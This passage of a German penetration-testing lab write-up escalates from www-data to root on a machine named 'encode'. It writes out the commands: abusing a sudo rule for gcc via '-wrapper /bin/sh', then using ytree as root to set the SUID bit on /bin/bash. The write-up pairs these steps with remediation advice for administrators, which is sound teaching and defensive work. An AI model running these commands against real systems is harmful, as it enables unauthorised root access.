**Empfehlung (Admin):** Untersuchen Sie die Server-Logs, um den Zeitpunkt und die Quelle des Angriffs nachzuvollziehen. Beheben Sie die `node-serialize`-Schwachstelle sofort. Implementieren Sie Monitoring, um verdächtige Prozesse oder ausgehende Verbindungen zu erkennen.
**: BurpSuite Analyse Ende :**
**Risikobewertung:** Hoch. Die RCE-Schwachstelle ermöglichte einem Angreifer die vollständige Kompromittierung der Webanwendung und das Erlangen einer Shell auf dem Server mit den Rechten des Webserver-Benutzers (`www-data`). Dies stellt einen initialen Standbein im System dar, von dem aus weitere Angriffe, insbesondere Privilegienerweiterung, gestartet werden können.
**Empfehlungen (Zusammenfassung):**
Nachdem wir als Benutzer `www-data` initialen Zugriff erlangt haben, suchen wir nun nach Möglichkeiten, unsere Rechte auf dem System zu erhöhen (Privilege Escalation), idealerweise bis zum `root`-Benutzer.
Matching Defaults entries for www-data on encode: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on encode: (charlie) NPASSWD: /usr/bin/gcc
**Analyse:** Der Befehl `sudo -l` wird ausgeführt, um zu überprüfen, welche Befehle der aktuelle Benutzer (`www-data`) mit `sudo` (also potenziell mit den Rechten anderer Benutzer) ausführen darf.
**Bewertung:** Dies ist ein äußerst interessanter Fund! Der Benutzer `www-data` darf den C-Compiler `gcc` (`/usr/bin/gcc`) als Benutzer `charlie` ausführen, und das ohne Passwortabfrage (`NPASSWD`). `gcc` ist ein mächtiges Werkzeug, das oft zur Privilegienerweiterung missbraucht werden kann.
**Empfehlung (Pentester):** Recherchieren Sie Methoden, wie `gcc` über `sudo` zur Privilegienerweiterung genutzt werden kann (z.B. über GTFOBins). Das Ziel ist es, eine Shell als Benutzer `charlie` zu erhalten.
**Empfehlung (Admin):** Weisen Sie `sudo`-Rechte sehr restriktiv zu. Erlauben Sie niemals die Ausführung von Compilern, Skriptinterpreten oder anderen potenziell gefährlichen Programmen über `sudo`, es sei denn, es ist absolut notwendig und sorgfältig abgesichert (z.B. durch spezifische Skripte mit eingeschränkten Parametern).
.bash_history html/
**Analyse:** Der Benutzer wechselt in das Verzeichnis `/var/www/` und listet dessen Inhalt implizit auf (die Shell zeigt die vorhandenen Dateien/Verzeichnisse an).
**Bewertung:** Standard-Enumeration, um die Umgebung zu erkunden. Das Verzeichnis enthält die `html`-Dateien und eine `.bash_history`-Datei.
**Empfehlung (Pentester):** Untersuchen Sie die `.bash_history` auf interessante Befehle, die von `www-data` ausgeführt wurden.
**Empfehlung (Admin):** Keine direkte Aktion erforderlich.
sudo -l su
**Analyse:** Die `.bash_history`-Datei von `www-data` wird angezeigt. Sie enthält nur die Befehle `sudo -l` und `su`.
**Bewertung:** Die History ist sehr kurz und liefert keine neuen Informationen oder Anmeldedaten. Der `su`-Versuch ist nicht weiter aufschlussreich ohne Kontext.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf die `sudo -l`-Ausgabe bezüglich `gcc`.
**Empfehlung (Admin):** Regelmäßiges Löschen oder Einschränken der Bash-History für Dienstkonten kann die Informationsgewinnung für Angreifer erschweren, ist aber keine primäre Sicherheitsmaßnahme.
bash: ll: orden no encontrada
ls: no se puede acceder a 'l-a': No existe el fichero o el directorio
total 56 drwxr-xr-x 3 www-data www-data 4096 may 29 2023 . drwxr-xr-x 3 www-data www-data 4096 may 29 2023 .. -rw-r--r-- 1 www-data www-data 12 may 29 2023 index.html drwxr-xr-x 54 www-data www-data 4096 may 7 2021 node_modules -rw-r--r-- 1 www-data www-data 116 may 7 2021 package.json -rw-r--r-- 1 www-data www-data 32483 may 7 2021 package-lock.json -rw-r--r-- 1 www-data www-data 683 may 29 2023 server.js
**Analyse:** Der Benutzer wechselt in das Verzeichnis `/var/www/html` (wo die Node.js-Anwendung liegt). Es werden einige Versuche unternommen, den Inhalt aufzulisten (`ll`, `ls l-a`), die fehlschlagen, da `ll` kein Standardbefehl ist und `l-a` ein Tippfehler ist. Schließlich listet `ls -la` erfolgreich den Inhalt auf.
**Bewertung:** Zeigt die Dateien der Node.js-Anwendung, die wir bereits teilweise kannten (`index.html`, `package.json`, `server.js`). Bestätigt die Eigentümerschaft durch `www-data`. Die Fehlermeldungen (`orden no encontrada`, `No existe el fichero...`) deuten auf ein spanischsprachiges System oder eine spanische Locale-Einstellung hin.
**Empfehlung (Pentester):** Die Sprachinformation kann nützlich sein, wenn man nach Standardpasswörtern oder systemspezifischen Konfigurationen sucht. Untersuchen Sie `server.js` auf weitere Schwachstellen oder Informationen, wenn möglich.
**Empfehlung (Admin):** Stellen Sie sicher, dass Dateiberechtigungen korrekt gesetzt sind (Prinzip der geringsten Rechte).
**Privilege Escalation per SUID, GUID oder Sticky Bit**
(Hinweis: Der eigentliche Exploit hier basiert auf `sudo`, nicht auf SUID/GUID/Sticky Bit, aber die Suche nach solchen ist ein Standardschritt.)
[Link: https://gtfobins.github.io/gtfobins/gcc/#sudo | Ziel: https://gtfobins.github.io/gtfobins/gcc/#sudo]
sudo gcc -wrapper /bin/sh,-s .
**Analyse:** Der Pentester hat GTFOBins konsultiert, eine wertvolle Ressource, die zeigt, wie Unix-Binärdateien für Privilegienerweiterung missbraucht werden können. Für `gcc` mit `sudo`-Rechten wird der Befehl `sudo gcc -wrapper /bin/sh,-s .` vorgeschlagen.
**Bewertung:** Der `-wrapper`-Parameter von `gcc` erlaubt es, ein anderes Programm anzugeben, das vor jedem Kompilierungsschritt ausgeführt wird. Hier wird `gcc` angewiesen, `/bin/sh` mit dem Parameter `-s` auszuführen, bevor es versucht, die (nicht vorhandene) Datei `.` zu kompilieren. Da `gcc` als `charlie` ausgeführt wird (`sudo -u charlie ...`), wird auch die Shell `/bin/sh` als `charlie` gestartet.
**Empfehlung (Pentester):** Führen Sie den Befehl genau wie in GTFOBins angegeben aus, aber mit der Option `-u charlie`, um sicherzustellen, dass er als dieser Benutzer ausgeführt wird.
**Empfehlung (Admin):** Siehe vorherige Empfehlung zur restriktiven Vergabe von `sudo`-Rechten, insbesondere für Compiler.
**Analyse:** Der Befehl von GTFOBins wird mit `sudo -u charlie` ausgeführt. Dies startet erfolgreich eine Shell (`/bin/sh`, erkennbar am Prompt `$`). Der Pentester startet daraufhin eine interaktivere `bash`-Shell.
**Bewertung:** **Erfolg!** Die `sudo`-Regel für `gcc` wurde erfolgreich ausgenutzt. Wir haben nun eine Shell als Benutzer `charlie`. Der Prompt `charlie@encode:/var/www/html$` bestätigt dies.
**Empfehlung (Pentester):** Führen Sie erneut `sudo -l` aus, um zu sehen, welche Rechte der Benutzer `charlie` hat. Suchen Sie im Home-Verzeichnis von `charlie` (`/home/charlie`) nach interessanten Dateien (z.B. `user.txt`, SSH-Schlüssel, Konfigurationsdateien).
**Empfehlung (Admin):** Überprüfen und widerrufen Sie die gefährliche `sudo`-Regel für `www-data`.
Matching Defaults entries for charlie on encode: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User charlie may run the following commands on encode: (root) NPASSWD: /usr/bin/ytree
**Analyse:** Als Benutzer `charlie` wird erneut `sudo -l` ausgeführt.
**Bewertung:** Ein weiterer Volltreffer! Der Benutzer `charlie` darf das Programm `/usr/bin/ytree` als `root` ausführen, ebenfalls ohne Passwort (`NPASSWD`). `ytree` ist ein älterer Dateimanager für die Konsole, und solche älteren oder weniger bekannten Tools haben oft Schwachstellen oder Möglichkeiten zum Ausführen von Befehlen.
**Empfehlung (Pentester):** Recherchieren Sie (erneut auf GTFOBins oder durch allgemeine Suche), wie `ytree` mit `sudo`-Rechten zur Privilegienerweiterung zu `root` missbraucht werden kann.
**Empfehlung (Admin):** Entfernen Sie unnötige oder veraltete Programme wie `ytree` vom System. Widerrufen Sie die `sudo`-Regel für `charlie`, die die Ausführung von `ytree` als `root` erlaubt.
[Hit return to continue] X chmod 4755 /bin/bash [Enter]
**Analyse:** `ytree` wird mit `sudo` gestartet. Innerhalb von `ytree` (dessen UI hier nicht vollständig dargestellt ist, aber die Tastenfolgen werden beschrieben) wird 'X' gedrückt (was oft eine Option zum Ausführen eines Shell-Befehls ist), und dann wird der Befehl `chmod 4755 /bin/bash` eingegeben und mit Enter bestätigt. Danach wird `ytree` vermutlich beendet.
**Bewertung:** Dies ist ein klassischer Exploit für Programme, die Shell-Befehle ausführen können, wenn sie mit erhöhten Rechten gestartet werden. Der Befehl `chmod 4755 /bin/bash` setzt das SUID-Bit (4) für die Bash-Shell. Das bedeutet, dass jeder Benutzer, der `/bin/bash` ausführt, dies ab sofort mit den Rechten des Eigentümers der Datei (in diesem Fall `root`) tun kann. Die Berechtigungen `755` stellen sicher, dass die Datei ausführbar bleibt.
**Empfehlung (Pentester):** Führen Sie nun `/bin/bash` mit der Option `-p` aus. Die Option `-p` weist Bash an, die effektiven Benutzerrechte (die durch das SUID-Bit auf `root` gesetzt wurden) nicht auf die realen Benutzerrechte zurückzusetzen. Dies sollte eine Root-Shell ergeben.
**Empfehlung (Admin):** Entfernen Sie `ytree` oder die `sudo`-Regel. Überwachen Sie das System regelmäßig auf Dateien mit gesetztem SUID/SGID-Bit (`find / -type f -perm /6000 -ls 2>/dev/null`) und untersuchen Sie verdächtige Einträge.
uid=1000(charlie) gid=1000(charlie) euid=0(root) grupos=1000(charlie)
**Analyse:** Die modifizierte Bash-Shell wird mit `/bin/bash -p` gestartet. Der Prompt ändert sich zu `bash-5.0#`, was oft ein Hinweis auf eine Root-Shell ist. Der `id`-Befehl wird ausgeführt.
**Bewertung:** **Ziel erreicht! Root-Zugriff!** Die Ausgabe von `id` zeigt, dass die reale Benutzer-ID (uid) immer noch `charlie` (1000) ist, aber die effektive Benutzer-ID (`euid`) ist `0`, was `root` entspricht. Wir haben volle Root-Rechte auf dem System erlangt!
**Empfehlung (Pentester):** Herzlichen Glückwunsch! Suchen Sie nach den finalen Flags (user.txt und root.txt). Dokumentieren Sie den Weg zur Privilegienerweiterung.
**Empfehlung (Admin):** Entfernen Sie das SUID-Bit von `/bin/bash` (`chmod 0755 /bin/bash`). Beheben Sie die zugrundeliegenden Schwachstellen (`node-serialize`, `sudo`-Regeln für `gcc` und `ytree`), die diesen Zugriff ermöglicht haben.
user.txt
08dbb8d26b8b558eb171978b5c16c020
root.txt
934ece5373c0361e33394b37c5b49582
**Analyse:** Nachdem Root-Rechte erlangt wurden, wird zuerst in das Home-Verzeichnis des ursprünglichen Benutzers (`charlie`, hier durch `cd ~` erreicht, da die Root-Shell im Kontext von `charlie` gestartet wurde, oder es könnte `/home/charlie` sein) gewechselt und die `user.txt`-Datei ausgelesen. Anschließend wird in das Root-Verzeichnis (`/root/`) gewechselt und die `root.txt`-Datei ausgelesen.
**Bewertung:** Beide Flags wurden erfolgreich gefunden und ausgelesen. Die Aufgabe ist abgeschlossen.
**Empfehlung (Pentester):** Dokumentieren Sie die Flags und den gesamten Prozess im Bericht. Führen Sie optional weitere Post-Exploitation-Schritte durch (Persistenz, weiterer Netzwerk-Scan aus interner Sicht etc.), falls dies im Scope liegt.
**Empfehlung (Admin):** Stellen Sie sicher, dass die Schwachstellen behoben sind. Überprüfen Sie Logs auf die Aktivitäten des Angreifers. Ändern Sie alle potenziell kompromittierten Passwörter und SSH-Schlüssel. Erwägen Sie eine Neuinstallation des Systems, wenn eine vollständige Bereinigung nicht garantiert werden kann.